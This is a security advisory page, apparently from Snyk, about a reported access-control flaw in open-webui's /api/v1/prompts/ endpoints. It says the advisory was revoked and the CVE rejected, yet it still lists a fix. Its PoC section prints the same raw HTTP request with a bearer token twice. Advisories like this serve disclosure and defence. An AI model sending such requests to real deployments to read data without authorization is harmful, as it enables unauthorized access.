Insufficient Isolation of System-Dependent Functions The advisory has been revoked - it doesn't affect any version of package open-webui  (opens in a new tab)


Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.4% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-OPENWEBUI-9684289
  • published10 Apr 2025
  • disclosed20 Mar 2025
  • creditfewword

Introduced: 20 Mar 2025

CVE-2024-7045  (opens in a new tab)
CWE-1100  (opens in a new tab)

How to fix?

Upgrade open-webui to version 0.4.0 or higher.

Amendment

This was deemed not a vulnerability.

Overview

open-webui is an Open WebUI

Affected versions of this package are vulnerable to Insufficient Isolation of System-Dependent Functions due to improper access control on the /api/v1/prompts/ and /api/v1/prompts/command/{command_id} interfaces. An attacker can view and retrieve prompt information without proper administrative verification by directly calling these interfaces. Note: CVE-2024-7045 was rejected by the CVE List.

PoC

GET /api/v1/prompts/ HTTP/1.1
Host: localhost:8090
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImYxYWE3YTE4LTYxN2UtNGViOC05ZWE4LWYwYjQ2NTMzYzE0ZiJ9.Wrvss1VJkvwdiS4N8C9UBo17jmsY-3wjynuFoMNrMP8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8090/admin/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
GET /api/v1/prompts/ HTTP/1.1
Host: localhost:8090
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImYxYWE3YTE4LTYxN2UtNGViOC05ZWE4LWYwYjQ2NTMzYzE0ZiJ9.Wrvss1VJkvwdiS4N8C9UBo17jmsY-3wjynuFoMNrMP8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8090/admin/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

References